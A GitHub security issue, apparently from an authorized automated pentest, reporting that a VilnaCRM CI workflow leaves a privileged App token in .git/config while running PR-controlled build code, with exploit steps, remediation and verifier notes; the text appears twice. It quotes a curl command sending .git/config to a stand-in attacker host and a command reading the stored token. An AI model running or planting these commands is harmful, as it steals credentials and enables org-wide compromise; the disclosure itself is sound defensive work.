You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
graphql-diff.yml mints a privileged GitHub App token via tibdex/github-app-token@v2 (secrets.VILNACRM_APP_ID / VILNACRM_APP_PRIVATE_KEY) and passes it to actions/checkout@v4.2.1 WITHOUT persist-credentials:false. actions/checkout defaults to persist-credentials:true, so the token is written to disk as an http.extraheader AUTHORIZATION entry in .git/config. The job then executes attacker-controllable PR code: composer install, make start (Makefile:392 runs docker compose up + build-k6-docker + build-spectral-docker, i.e. builds PR-supplied Dockerfiles whose RUN steps execute in the workspace), and make generate-graphql-spec. The job also holds broad permissions: contents: write, pull-requests: write and no branches: filter. The same App identity is used by template-sync.yml and autorelease.yml, so it has org-wide contents write across VilnaCRM repos — far more than an individual contributor. Note the maintainers already know the mitigation: bats-tests.yml:23 and eslint.yaml:17 set persist-credentials:false, but the three token/secret-bearing workflows (graphql-diff, code-lint-and-prettify, openapi-diff) omit it.
Severity: HIGH • Category: CICD-SEC-4 Poisoned Pipeline Execution / CICD-SEC-6 Insufficient Credential Hygiene • OWASP: OWASP CICD-SEC-4 (Poisoned Pipeline Execution), CICD-SEC-6 (Insufficient Credential Hygiene), CICD-SEC-2 (Inadequate Identity and Access Management) Found by an authorized automated adversarial pentest loop and confirmed by 2 independent skeptic verifiers (unanimous).
Affected code / location
.github/workflows/graphql-diff.yml:21-27 (token mint), :34-40 (checkout, no persist-credentials:false, ref=head.ref), :42-52 (composer install + make start + generate-graphql-spec run PR code); Makefile:392-395 (start target builds PR Dockerfiles)
Exploit scenario
Attacker who can push a same-repo branch (low-privilege collaborator, compromised contributor account, or a maintainer PR that hides the change) opens a PR modifying the repo's Makefile start target (or the k6/spectral Dockerfile built by build-*-docker) to run e.g. curl -X POST https://attacker.tld -d @$GITHUB_WORKSPACE/.git/config (or git config --get http.https://github.com/.extraheader). 2. graphql-diff.yml fires on the pull_request; because it is a same-repo PR, secrets are available and the App token is minted and checked out into .git/config. 3. The make start step runs the poisoned Makefile/Dockerfile, reads .git/config, and exfiltrates the org-wide App token to the attacker. 4. Attacker replays the token to push malicious commits/releases across VilnaCRM-Org repositories (the same App drives template-sync and autorelease). fork PRs are not required and not the vector (fork PRs get no secrets); the escalation is repo-write -> org-wide App-token compromise.
Suggested remediation
Set persist-credentials: false on every checkout in graphql-diff.yml/openapi-diff.yml/code-lint-and-prettify.yml; never run untrusted PR build code (make start / docker builds / composer) in the same job that holds a privileged token; split spec generation (untrusted, no secrets) from the commit/comment step (trusted, minimal token) into separate jobs; scope the App token to contents:write on this repo only and drop pull-requests:write where unused; add a branches: filter.
Verification notes
Verifier 1 (CONFIRMED, exploitable=true, duplicate=false): Traced the full exploit path in current code. .github/workflows/graphql-diff.yml triggers on pull_request (no branches filter) with permissions contents:write/pull-requests:write. Lines 21-27 mint a privileged GitHub App token (tibdex/github-app-token@v2, secrets.VILNACRM_APP_ID/VILNACRM_APP_PRIVATE_KEY). The checkout step (actions/checkout@v4.2.1) passes that token with ref=head.ref and does NOT set persist-credentials:false; checkout defaults persist-credentials to true, so the token is written to the workspace .git/config as an http.extraheader AUTHORIZATION entry. The workflow then runs make start and make generate-graphql-spec, executing the PR-controlled Makefile on the runner host. Makefile start target (docker compose up + build-k6-docker + build-spectral-docker) is PR-editable, but the target itself being run via run: make start already gives arbitrary host code execution — an attacker can add e.g. git config --get http.https://github.com/.extraheader and exfiltrate the token. This is a textbook CICD-SEC-4 Poisoned Pipeline Execution. Vector is a same-repo branch (collaborator with push, compromised contributor, or hidden maintainer change) — same-repo pull_request events DO receive secrets and need no workflow-run approval, so it is reachable; fork PRs correctly excluded. Escalation is real: the same App identity drives template-sync.yml (force-push PRs against a DIFFERENT org repo VilnaCRM-Org/php-service-template) and autorelease.yml (releases), proving org-wide contents:write — single-repo push access escalates to org-wide App-token compromise. Maintainers already know the fix (bats-tests.yml:23 and eslint.yaml:17 set persist-credentials:false) but graphql-diff and code-lint-and-prettify omit it. Not mitigated anywhere in current code. Distinct from KNOWN [Security] critical: OAuth2/JWT access tokens silently escalate to ROLE_SERVICE; issuer/audience validation skipped; session-revocation bypassed #312-324 (all application-layer OAuth/JWT/rate-limit/password issues) and more concrete/actionable than the general NFR umbrella issues Enterprise readiness audit: close remaining gaps to reach 5/5 on all quality attributes and NFRs #348-441. Minor claim inaccuracy: openapi-diff.yml does not actually mint the App token (uses default github.token), but code-lint-and-prettify.yml does mint it and also omits persist-credentials, and the core graphql-diff finding is fully valid.
Verifier 2 (CONFIRMED, exploitable=true, duplicate=false): Verified in .github/workflows/graphql-diff.yml: the pull_request-triggered job (no branches filter) mints an org-wide GitHub App token via tibdex/github-app-token@v2 (secrets.VILNACRM_APP_ID/VILNACRM_APP_PRIVATE_KEY) and passes it to actions/checkout@v4.2.1 with ref: github.event.pull_request.head.ref and NO persist-credentials: false. actions/checkout defaults persist-credentials to true, so the token is written to .git/config as an http.extraheader AUTHORIZATION entry on the runner host. The job then runs PR-controllable code on that host: composer install, make start, and make generate-graphql-spec. Confirmed Makefile start target runs $(DOCKER_COMPOSE) up plus build-k6-docker/build-spectral-docker, all of which are PR-modifiable (the Makefile target and the built Dockerfiles live in the checked-out PR tree). A PR editing the start target (or a built Dockerfile RUN step) to read .git/config and POST it out exfiltrates the token. Job permissions are contents: write + pull-requests: write. Grep confirms the same App identity is used by template-sync.yml, autorelease.yml, and code-lint-and-prettify.yml, so it carries org-wide contents write — an escalation from repo-scoped write to org-wide App compromise. Maintainers already apply the mitigation elsewhere (bats-tests.yml:23, eslint.yaml:17 set persist-credentials:false), proving the omission is the defect. Fork PRs are correctly not the vector (no secrets on fork pull_request); a same-repo-write collaborator/compromised contributor is. Not mitigated by any existing guard and not covered by KNOWN app-layer findings [Security] critical: OAuth2/JWT access tokens silently escalate to ROLE_SERVICE; issuer/audience validation skipped; session-revocation bypassed #312-[Security] low: Account-lockout failure counter uses non-atomic read-modify-write (race allows extra guesses) #324 or the general NFR umbrella Enterprise readiness audit: close remaining gaps to reach 5/5 on all quality attributes and NFRs #348/[NFR] Accessibility — score 3/5: HTML-only emails, untranslated/typo'd confirmation template, no lang attributes, recipient locale not applied #349-441; this is a concrete, actionable CI/CD (CICD-SEC-4/6/2) issue. Severity high is appropriate given org-wide token blast radius.
Related
Part of the enterprise security-hardening effort — umbrella tracker #348; security NFR issues #426 (securability), #441 (vulnerability), #362 (confidentiality), #389 (integrity). Prior security wave: #312–#324. Not a duplicate of the already-fixed items in that range.
Acceptance = the exploit path is closed AND a regression test (unit/Behat/Schemathesis) proves it stays closed.
Summary
graphql-diff.yml mints a privileged GitHub App token via tibdex/github-app-token@v2 (secrets.VILNACRM_APP_ID / VILNACRM_APP_PRIVATE_KEY) and passes it to actions/checkout@v4.2.1 WITHOUT persist-credentials:false. actions/checkout defaults to persist-credentials:true, so the token is written to disk as an http.extraheader AUTHORIZATION entry in .git/config. The job then executes attacker-controllable PR code:
composer install,make start(Makefile:392 runs docker compose up + build-k6-docker + build-spectral-docker, i.e. builds PR-supplied Dockerfiles whose RUN steps execute in the workspace), andmake generate-graphql-spec. The job also holds broadpermissions: contents: write, pull-requests: writeand no branches: filter. The same App identity is used by template-sync.yml and autorelease.yml, so it has org-wide contents write across VilnaCRM repos — far more than an individual contributor. Note the maintainers already know the mitigation: bats-tests.yml:23 and eslint.yaml:17 set persist-credentials:false, but the three token/secret-bearing workflows (graphql-diff, code-lint-and-prettify, openapi-diff) omit it.Severity: HIGH • Category: CICD-SEC-4 Poisoned Pipeline Execution / CICD-SEC-6 Insufficient Credential Hygiene • OWASP: OWASP CICD-SEC-4 (Poisoned Pipeline Execution), CICD-SEC-6 (Insufficient Credential Hygiene), CICD-SEC-2 (Inadequate Identity and Access Management)
Found by an authorized automated adversarial pentest loop and confirmed by 2 independent skeptic verifiers (unanimous).
Affected code / location
.github/workflows/graphql-diff.yml:21-27 (token mint), :34-40 (checkout, no persist-credentials:false, ref=head.ref), :42-52 (composer install + make start + generate-graphql-spec run PR code); Makefile:392-395 (start target builds PR Dockerfiles)
Exploit scenario
starttarget (or the k6/spectral Dockerfile built by build-*-docker) to run e.g.curl -X POST https://attacker.tld -d @$GITHUB_WORKSPACE/.git/config(orgit config --get http.https://github.com/.extraheader). 2. graphql-diff.yml fires on the pull_request; because it is a same-repo PR, secrets are available and the App token is minted and checked out into .git/config. 3. Themake startstep runs the poisoned Makefile/Dockerfile, reads .git/config, and exfiltrates the org-wide App token to the attacker. 4. Attacker replays the token to push malicious commits/releases across VilnaCRM-Org repositories (the same App drives template-sync and autorelease). fork PRs are not required and not the vector (fork PRs get no secrets); the escalation is repo-write -> org-wide App-token compromise.Suggested remediation
Set persist-credentials: false on every checkout in graphql-diff.yml/openapi-diff.yml/code-lint-and-prettify.yml; never run untrusted PR build code (make start / docker builds / composer) in the same job that holds a privileged token; split spec generation (untrusted, no secrets) from the commit/comment step (trusted, minimal token) into separate jobs; scope the App token to contents:write on this repo only and drop pull-requests:write where unused; add a branches: filter.
Verification notes
make startandmake generate-graphql-spec, executing the PR-controlled Makefile on the runner host. Makefile start target (docker compose up + build-k6-docker + build-spectral-docker) is PR-editable, but the target itself being run viarun: make startalready gives arbitrary host code execution — an attacker can add e.g.git config --get http.https://github.com/.extraheaderand exfiltrate the token. This is a textbook CICD-SEC-4 Poisoned Pipeline Execution. Vector is a same-repo branch (collaborator with push, compromised contributor, or hidden maintainer change) — same-repo pull_request events DO receive secrets and need no workflow-run approval, so it is reachable; fork PRs correctly excluded. Escalation is real: the same App identity drives template-sync.yml (force-push PRs against a DIFFERENT org repo VilnaCRM-Org/php-service-template) and autorelease.yml (releases), proving org-wide contents:write — single-repo push access escalates to org-wide App-token compromise. Maintainers already know the fix (bats-tests.yml:23 and eslint.yaml:17 set persist-credentials:false) but graphql-diff and code-lint-and-prettify omit it. Not mitigated anywhere in current code. Distinct from KNOWN [Security] critical: OAuth2/JWT access tokens silently escalate to ROLE_SERVICE; issuer/audience validation skipped; session-revocation bypassed #312-324 (all application-layer OAuth/JWT/rate-limit/password issues) and more concrete/actionable than the general NFR umbrella issues Enterprise readiness audit: close remaining gaps to reach 5/5 on all quality attributes and NFRs #348-441. Minor claim inaccuracy: openapi-diff.yml does not actually mint the App token (uses default github.token), but code-lint-and-prettify.yml does mint it and also omits persist-credentials, and the core graphql-diff finding is fully valid.pull_request-triggered job (no branches filter) mints an org-wide GitHub App token via tibdex/github-app-token@v2 (secrets.VILNACRM_APP_ID/VILNACRM_APP_PRIVATE_KEY) and passes it to actions/checkout@v4.2.1 withref: github.event.pull_request.head.refand NOpersist-credentials: false. actions/checkout defaults persist-credentials to true, so the token is written to .git/config as an http.extraheader AUTHORIZATION entry on the runner host. The job then runs PR-controllable code on that host:composer install,make start, andmake generate-graphql-spec. Confirmed Makefilestarttarget runs$(DOCKER_COMPOSE) upplusbuild-k6-docker/build-spectral-docker, all of which are PR-modifiable (the Makefile target and the built Dockerfiles live in the checked-out PR tree). A PR editing thestarttarget (or a built Dockerfile RUN step) to read .git/config and POST it out exfiltrates the token. Job permissions arecontents: write+pull-requests: write. Grep confirms the same App identity is used by template-sync.yml, autorelease.yml, and code-lint-and-prettify.yml, so it carries org-wide contents write — an escalation from repo-scoped write to org-wide App compromise. Maintainers already apply the mitigation elsewhere (bats-tests.yml:23, eslint.yaml:17 set persist-credentials:false), proving the omission is the defect. Fork PRs are correctly not the vector (no secrets on fork pull_request); a same-repo-write collaborator/compromised contributor is. Not mitigated by any existing guard and not covered by KNOWN app-layer findings [Security] critical: OAuth2/JWT access tokens silently escalate to ROLE_SERVICE; issuer/audience validation skipped; session-revocation bypassed #312-[Security] low: Account-lockout failure counter uses non-atomic read-modify-write (race allows extra guesses) #324 or the general NFR umbrella Enterprise readiness audit: close remaining gaps to reach 5/5 on all quality attributes and NFRs #348/[NFR] Accessibility — score 3/5: HTML-only emails, untranslated/typo'd confirmation template, no lang attributes, recipient locale not applied #349-441; this is a concrete, actionable CI/CD (CICD-SEC-4/6/2) issue. Severity high is appropriate given org-wide token blast radius.Related
Part of the enterprise security-hardening effort — umbrella tracker #348; security NFR issues #426 (securability), #441 (vulnerability), #362 (confidentiality), #389 (integrity). Prior security wave: #312–#324. Not a duplicate of the already-fixed items in that range.
Acceptance = the exploit path is closed AND a regression test (unit/Behat/Schemathesis) proves it stays closed.